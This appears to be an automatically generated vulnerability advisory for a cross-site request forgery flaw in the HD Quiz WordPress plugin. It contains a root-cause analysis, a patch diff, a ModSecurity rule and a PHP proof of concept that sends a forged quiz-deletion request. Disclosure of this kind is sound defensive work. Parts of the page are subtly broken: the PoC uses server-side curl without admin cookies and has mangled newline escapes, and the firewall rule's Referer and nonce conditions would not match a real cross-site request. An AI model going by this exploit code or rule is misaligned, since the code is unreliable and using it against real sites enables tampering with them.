Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 26, 2026

CVE-2026-13422: HD Quiz 2.2.0 2.2.1 Cross-Site Request Forgery via Multiple AJAX Handlers PoC, Patch Analysis & Rule

Plugin hd-quiz
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 2.2.1
Patched Version 2.2.2
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-13422:

This vulnerability is a Cross-Site Request Forgery (CSRF) in the HD Quiz plugin for WordPress versions 2.2.0 to 2.2.1. The issue stems from missing or incorrect nonce validation on the hdq_validate_nonce function, affecting multiple AJAX handlers. The CVSS score is 4.3, indicating a moderate severity that allows unauthenticated attackers to forge requests to delete or modify quizzes and questions, create new quizzes, and change plugin settings, provided they can trick a site administrator into clicking a link.

Root Cause: The hdq_validate_nonce function in /hd-quiz/includes/functions.php (line 37-43) does not terminate execution on validation failure. When a nonce check fails, the function sets a fail status and includes an error message but lacks the die() call that was added in the patch. This means subsequent code continues executing after a failed nonce validation. Additionally, the hdq_get_question_type function in /hd-quiz/includes/actions-ajax.php (line 118-122) had no nonce validation at all before the patch. The vulnerability affects multiple AJAX handlers that rely on hdq_validate_nonce for protection.

Exploitation: An attacker crafts a malicious HTML page containing JavaScript that automatically submits a POST request to /wp-admin/admin-ajax.php with the action parameter set to one of the vulnerable handlers (e.g., hdq_save_quiz, hdq_delete_quiz, hdq_save_settings). The request includes target data such as quiz_id, question_id, or settings parameters. The attacker then tricks an authenticated administrator into visiting that page. Since the nonce validation fails silently without halting execution, the forged request processes the action. No authentication token or nonce is required from the attacker.

Patch Analysis: The patch addresses the root cause by adding die(); after the error response in hdq_validate_nonce within /hd-quiz/includes/functions.php (line 40). This ensures that when a nonce validation fails, script execution stops immediately. For hdq_get_question_type, the patch adds a call to hdq_validate_nonce at the beginning of the function. Additionally, version numbers were bumped from 2.2.1 to 2.2.2. These changes ensure that any request with an invalid or missing nonce is rejected before processing the intended action.

Impact: Successful exploitation allows an attacker to perform administrative actions on the HD Quiz plugin without authorization. This includes deleting or modifying quizzes and questions, creating new quizzes, and changing plugin settings (like changing answer keys or quiz access controls). While the attacker cannot directly escalate to full WordPress admin privileges, they can compromise quiz data, disrupt learning content, alter grading logic, and potentially expose sensitive quiz content. The attack requires social engineering to trick an administrator, limiting the attack surface.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/hd-quiz/classes/dashboard.php
+++ b/hd-quiz/classes/dashboard.php
@@ -71,10 +71,11 @@
         $html = '<div id="hdq_list_quizzes">';
         if (!empty($quizzes) && !is_wp_error($quizzes)) {
             foreach ($quizzes as $quiz) {
-                // if author mode is active, only show quizzes belonging to current author (or admins access all)
+                // if author mode is active, only show quizzes belonging to current author
+                // (Editors/Admins with edit_others_posts can access all)
                 $quiz_type = sanitize_text_field(get_term_meta($quiz->term_id, "hdq_quiz_type", true));
                 $author_id = intval(get_term_meta($quiz->term_id, "hdq_author_id", true));
-                if ($this->settings["allow_authors_access"] === "yes" && $author_id !== $user_id && !current_user_can('publish_posts')) {
+                if ($this->settings["allow_authors_access"] === "yes" && $author_id !== $user_id && !current_user_can('edit_others_posts')) {
                     continue;
                 }

--- a/hd-quiz/classes/question.php
+++ b/hd-quiz/classes/question.php
@@ -199,6 +199,21 @@
         $question_type = sanitize_text_field($question_type);
         $this->weighted = $weighted;

+        // only allow dispatch to registered question types
+        $allowed = array();
+        foreach ($this->question_types as $group) {
+            foreach ($group as $type) {
+                if (isset($type["value"])) {
+                    $allowed[] = $type["value"];
+                }
+            }
+        }
+
+        if (!in_array($question_type, $allowed, true)) {
+            echo '{"status": "fail", "message": "No render found for this question type: ' . esc_attr($question_type) . '"}';
+            return;
+        }
+
         if (method_exists($this, $question_type)) {
             $this->$question_type($this->data["question_answers"]);
         } else {
@@ -243,7 +258,9 @@

     private function validateAccess()
     {
-        if (!current_user_can("publish_posts")) {
+        // Editors and Admins (edit_others_posts) may access all quizzes.
+        // Authors (publish_posts only) must own the quiz.
+        if (!current_user_can("edit_others_posts")) {
             // must be author. make sure Ids match
             $author_id = intval(get_term_meta($this->quiz_id, "hdq_author_id", true));
             $user_id = get_current_user_id();
--- a/hd-quiz/classes/quiz.php
+++ b/hd-quiz/classes/quiz.php
@@ -561,7 +561,9 @@

 	private function validateAccess()
 	{
-		if (!current_user_can("publish_posts")) {
+		// Editors and Admins (edit_others_posts) may access all quizzes.
+		// Authors (publish_posts only) must own the quiz.
+		if (!current_user_can("edit_others_posts")) {
 			// must be author. make sure Ids match
 			$author_id = intval(get_term_meta($this->quiz_id, "hdq_author_id", true));
 			$user_id = get_current_user_id();
--- a/hd-quiz/includes/actions-ajax.php
+++ b/hd-quiz/includes/actions-ajax.php
@@ -118,6 +118,8 @@

 function hdq_get_question_type()
 {
+    hdq_validate_nonce($_POST);
+
     if (!hdq_user_permission()) {
         die();
     }
@@ -215,7 +217,8 @@
 }
 add_action("wp_ajax_hdq_csv_import_question", "hdq_csv_import_question");

-function hdq_get_correct_answers()
+// Server-side grading for "secure mode" quizzes
+function hdq_grade_questions()
 {
     if (!isset($_POST['nonce'])) {
         wp_send_json_error(array("message" => "Missing nonce"));
@@ -232,8 +235,7 @@
     $data = json_decode($data, true);

     $quiz_id = intval($data["quiz_id"]);
-    $question_ids = array_map("intval", $data["question_ids"]);
-
+    $answers = isset($data["answers"]) && is_array($data["answers"]) ? $data["answers"] : array();

     $quiz = hdq_get_quiz($quiz_id);
     if (!is_array($quiz) || empty($quiz['quiz_name'])) {
@@ -245,20 +247,168 @@
         "status" => true,
         "data" => array()
     );
-    foreach ($question_ids as $question_id) {
+    foreach ($answers as $entry) {
+        $question_id = intval($entry["question_id"]);
+        $user_answer = isset($entry["selected"]) ? $entry["selected"] : null;
+
         $question = hdq_get_question($question_id, $quiz_id);
         if (!is_array($question) || empty($question['question_type'])) {
             echo json_encode(array("success" => false, "message" => "Question not found: ID " . $question_id));
             die();
         }

-        $response["data"][] = array(
-            "question_id" => $question_id,
-            "correct_answers" => $question["question_answers"]
-        );
+        $response["data"][] = hdq_grade_question($question_id, $question, $user_answer, $quiz);
     }
     echo json_encode($response);
     die();
 }
-add_action("wp_ajax_hdq_get_correct_answers", "hdq_get_correct_answers");
-add_action("wp_ajax_nopriv_hdq_get_correct_answers", "hdq_get_correct_answers");
+add_action("wp_ajax_hdq_grade_questions", "hdq_grade_questions");
+add_action("wp_ajax_nopriv_hdq_grade_questions", "hdq_grade_questions");
+
+// Grade a single question
+function hdq_grade_question($question_id, $question, $user_answer, $quiz)
+{
+    $type = $question["question_type"];
+    $question_answers = isset($question["question_answers"]) && is_array($question["question_answers"]) ? $question["question_answers"] : array();
+    $mark_questions = (isset($quiz["mark_questions"]) && $quiz["mark_questions"] === "yes");
+    $mark_answers = (isset($quiz["mark_answers"]) && $quiz["mark_answers"] === "yes");
+
+    $result = array(
+        "question_id" => $question_id,
+        "type"        => $type,
+        "score"       => 0,
+        "max"         => 0,
+        "answered"    => false,
+        "marks"       => array(), // answer id => "correct" | "wrong" | "reveal"
+    );
+
+    // no answers to grade
+    if ($type === "question_as_title") {
+        $result["skip"] = true;
+        return $result;
+    }
+
+    // Figure out the "weight" of the answer
+    $value_of = function ($answer) {
+        if (isset($answer["selected"]) && $answer["selected"] === "yes") {
+            return 1;
+        }
+        return isset($answer["selected"]) ? intval($answer["selected"]) : 0;
+    };
+
+    // TODO: Question types should have their own validators in the future
+    // so that I can abstract this all out
+
+    if ($type === "text_based_answer") {
+        $user = is_string($user_answer) ? strtoupper(trim($user_answer)) : "";
+        $result["answered"] = ($user !== "");
+        $result["max"] = 1;
+
+        $accepted = array();
+        foreach ($question_answers as $a) {
+            $accepted[] = strtoupper(trim($a["value"]));
+        }
+
+        $correct = 0;
+        foreach ($accepted as $acc) {
+            if ($acc === "") {
+                continue;
+            }
+            if (substr($acc, -1) === "*") {
+                $stem = substr($acc, 0, -1);
+                if ($stem === $user || ($user !== "" && strpos($user, $stem) === 0)) {
+                    $correct = 1;
+                }
+            }
+            if ($acc === $user) {
+                $correct = 1;
+            }
+        }
+        $result["score"] = $correct;
+
+        if ($mark_questions) {
+            $result["mark_text"] = ($correct === 1) ? "correct" : "wrong";
+            // only reveal an accepted answer when the owner enabled the reveal feature
+            if ($correct === 0 && $mark_answers && !empty($accepted)) {
+                $result["reveal_text"] = $accepted[0];
+            }
+        }
+        return $result;
+    }
+
+    // choice-based types: collect the user's selected answer ids
+    $selected_ids = array();
+    if (is_array($user_answer)) {
+        foreach ($user_answer as $sid) {
+            $selected_ids[] = intval($sid);
+        }
+    }
+    $result["answered"] = (count($selected_ids) > 0);
+
+    if ($type === "multiple_choice_text" || $type === "multiple_choice_image") {
+        $max = 0;
+        $score = 0;
+        foreach ($question_answers as $a) {
+            $val = $value_of($a);
+            if ($val > $max) {
+                $max = $val;
+            }
+            if (in_array(intval($a["id"]), $selected_ids, true)) {
+                $score = $val;
+            }
+        }
+        $result["max"] = $max;
+        $result["score"] = $score;
+
+        if ($mark_questions) {
+            foreach ($question_answers as $a) {
+                $id = intval($a["id"]);
+                $val = $value_of($a);
+                if (in_array($id, $selected_ids, true)) {
+                    $result["marks"][$id] = ($val > 0) ? "correct" : "wrong";
+                } else if ($mark_answers && $val > 0) {
+                    $result["marks"][$id] = "reveal";
+                }
+            }
+        }
+        return $result;
+    }
+
+    if ($type === "select_all_apply_text" || $type === "select_all_apply_image") {
+        $result["max"] = 1;
+        $score = 1;
+        foreach ($question_answers as $a) {
+            $val = $value_of($a);
+            $is_sel = in_array(intval($a["id"]), $selected_ids, true);
+            if ($val > 0 && !$is_sel) {
+                $score = 0; // missed a correct answer
+            }
+            if ($is_sel && $val == 0) {
+                $score = 0; // selected an incorrect answer
+            }
+        }
+        $result["score"] = $score;
+
+        if ($mark_questions) {
+            foreach ($question_answers as $a) {
+                $id = intval($a["id"]);
+                $val = $value_of($a);
+                $is_sel = in_array($id, $selected_ids, true);
+                if ($is_sel) {
+                    if ($val == 0) {
+                        $result["marks"][$id] = "wrong";
+                    } else {
+                        $result["marks"][$id] = ($score === 0) ? "reveal" : "correct";
+                    }
+                } else if ($val > 0) {
+                    $result["marks"][$id] = "reveal";
+                }
+            }
+        }
+        return $result;
+    }
+
+    // unknown question or personality question
+    $result["skip"] = true;
+    return $result;
+}
--- a/hd-quiz/includes/functions.php
+++ b/hd-quiz/includes/functions.php
@@ -37,6 +37,7 @@
         $res->status = "fail";
         $res->html = "Unable to validate your credentials. Your NONCE may have expired. Please reload this page from your WordPress admin to refresh your NONCE.";
         echo json_encode($res);
+        die();
     }
 }

--- a/hd-quiz/index.php
+++ b/hd-quiz/index.php
@@ -5,7 +5,7 @@
     * Plugin URI: https://harmonicdesign.ca/hd-quiz/
     * Author: Harmonic Design
     * Author URI: https://harmonicdesign.ca
-    * Version: 2.2.1
+    * Version: 2.2.2
     * License: GPL-2.0+
     * License URI: http://www.gnu.org/licenses/gpl-2.0.txt
     * Text Domain: hd-quiz
@@ -23,7 +23,7 @@
     die('Invalid request.');
 }
 if (!defined('HDQ_PLUGIN_VERSION')) {
-    define('HDQ_PLUGIN_VERSION', '2.2.1');
+    define('HDQ_PLUGIN_VERSION', '2.2.2');
 }

 // Settings that a power user might want to change,

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20262001,phase:2,deny,status:403,chain,msg:'CVE-2026-13422 HD Quiz CSRF via AJAX',severity:'CRITICAL',tag:'CVE-2026-13422'"
  SecRule ARGS_POST:action "@rx ^hdq_(delete_quiz|save_quiz|save_settings|create_quiz|delete_question|save_question)$" 
    "chain"
    SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/wp-admin/" 
      "t:none,chain"
      SecRule ARGS_POST:nonce "@eq 0" "chain"
        SecRule REQUEST_METHOD "@streq POST" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-13422 - HD Quiz 2.2.0 - 2.2.1 - Cross-Site Request Forgery via Multiple AJAX Handlers

$target_url = 'http://example.com/wp-admin/admin-ajax.php'; // CHANGE THIS

// Exploit: Delete a quiz via CSRF (no nonce required)
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'action' => 'hdq_delete_quiz',
    'quiz_id' => 1 // Target quiz ID to delete
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);

echo "[+] Sent forged request to delete quiz ID 1n";
echo "[+] HTTP Response Code: $http_coden";
echo "[+] Response Body: $responsen";
echo "[+] Note: This PoC must be executed while a WordPress admin is logged in (session cookie required).n";
echo "[+] In a real attack, this code would be embedded in an HTML page sent to the admin.n";

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School